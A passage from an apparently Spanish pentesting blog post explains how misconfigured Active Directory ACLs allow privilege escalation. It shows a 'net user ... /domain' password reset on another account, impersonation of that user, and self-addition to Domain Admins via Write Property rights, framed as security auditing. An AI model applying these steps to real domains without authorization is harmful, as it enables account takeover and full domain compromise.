Para comprobar un posible cambio de credencial, ejecutamos el siguiente comando ‘net user fran [contraseña_nueva] /domain. Lo normal sería no poder hacer esto, pero en este caso, y debido a una mala configuración, obtenemos un premio.

Figura 10: Cambio de contraseña para el usuario Fran

Ahora podemos ejecutar un terminal o un proceso con la identidad del usuario ‘fran’, tal y como puede verse en la siguiente imagen.

Figura 11: Suplantando a Fran para ejecutar un terminal

Write Property & Self-Membership

Estos ‘rights’ son también interesantes. Cuando los encontramos combinados tenemos muchas posibilidades de poder hacer escalada. En este caso hemos vuelto a poner la lupa sobre el CN de Admins. del dominio.

Figura 12: CN=Admins. del dominio

Este tipo de derecho permite al usuario poder escribir y modificar o agregar usuario al grupo, en este caso. Cuando este tipo de situación se detecta podemos pasar al grupo de Administradores del Dominio, como hemos hecho anteriormente. 

Figura 13:  Pasando al grupo de "Administradores del Dominio"

El estar revisando la configuración de las ACLs puede ser un trabajo de tiempo, aunque es fundamental para mantener la seguridad de los sistemas operativos Windows. Para ello tenemos herramientas que nos ayudan a detectar este tipo de situaciones. Además, haciendo uso del lenguaje y filtros de Powershell podemos optimizar este tiempo.

Figura 14: Máxima Seguridad en Windows Gold Edition

Existen más situaciones en las ACLs y ACEs del Directorio Activo que debemos tener en cuenta:

• ForceChangePassword 

 

• WriteOwner sobre un grupo concreto 

 

• GenericWrite sobre un usuario 

 

• WriteDACL + WriteOwner

Como se puede ver es un tema que requiere de conocimiento de cómo funcionan los permisos en un nivel avanzado en el directorio activo y de tener ciertos conceptos identificados. Es un tema bastante interesante y que se puede poner en práctica y es necesario para evaluarlo en un pentesting.

Saludos,

 Autor: Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell”, "Pentesting con Kali Silver Edition" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González - Conseguir 100 Tempos Gratis en MyPublicInbox

Figura 15: Contactar con Pablo González